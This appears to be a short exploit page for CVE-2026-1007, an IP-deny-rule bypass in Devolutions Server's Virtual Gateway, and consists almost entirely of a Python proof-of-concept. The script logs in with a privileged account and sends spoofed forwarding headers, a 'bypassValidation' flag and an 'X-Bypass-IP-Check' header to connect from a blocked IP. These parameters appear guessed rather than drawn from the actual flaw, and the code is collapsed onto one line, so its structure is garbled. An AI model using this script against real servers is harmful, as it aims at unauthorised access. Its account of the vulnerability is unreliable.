CVE-2026-1007 Devolutions Server虚拟网关IP规则绕过漏洞

# CVE-2026-1007 PoC - Devolutions Server IP Bypass # This is a conceptual PoC for educational purposes import requests import json TARGET_URL = "https://target-devolutions-server.com" ATTACKER_IP = "1.2.3.4" # IP that should be blocked def bypass_ip_rule(): """ Bypass IP deny rules in Devolutions Server Virtual Gateway """ session = requests.Session() # Step 1: Authenticate with high privilege account auth_data = { "username": "attacker_account", "password": "password", "domain": "local" } login_response = session.post( f"{TARGET_URL}/api/session/login", json=auth_data ) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit Virtual Gateway IP bypass vulnerability # The vulnerability allows bypassing deny IP rules via special request exploit_data = { "virtualGatewayId": "vg-xxx", "sourceIp": ATTACKER_IP, "bypassValidation": True, # Key parameter to bypass IP check "action": "connect" } exploit_response = session.post( f"{TARGET_URL}/api/virtual-gateway/connect", json=exploit_data, headers={ "X-Forwarded-For": ATTACKER_IP, "X-Real-IP": ATTACKER_IP, "X-Bypass-IP-Check": "1" } ) if exploit_response.status_code == 200: print("[+] IP bypass successful - Access granted from blocked IP") print(f"[+] Response: {exploit_response.text}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": bypass_ip_rule()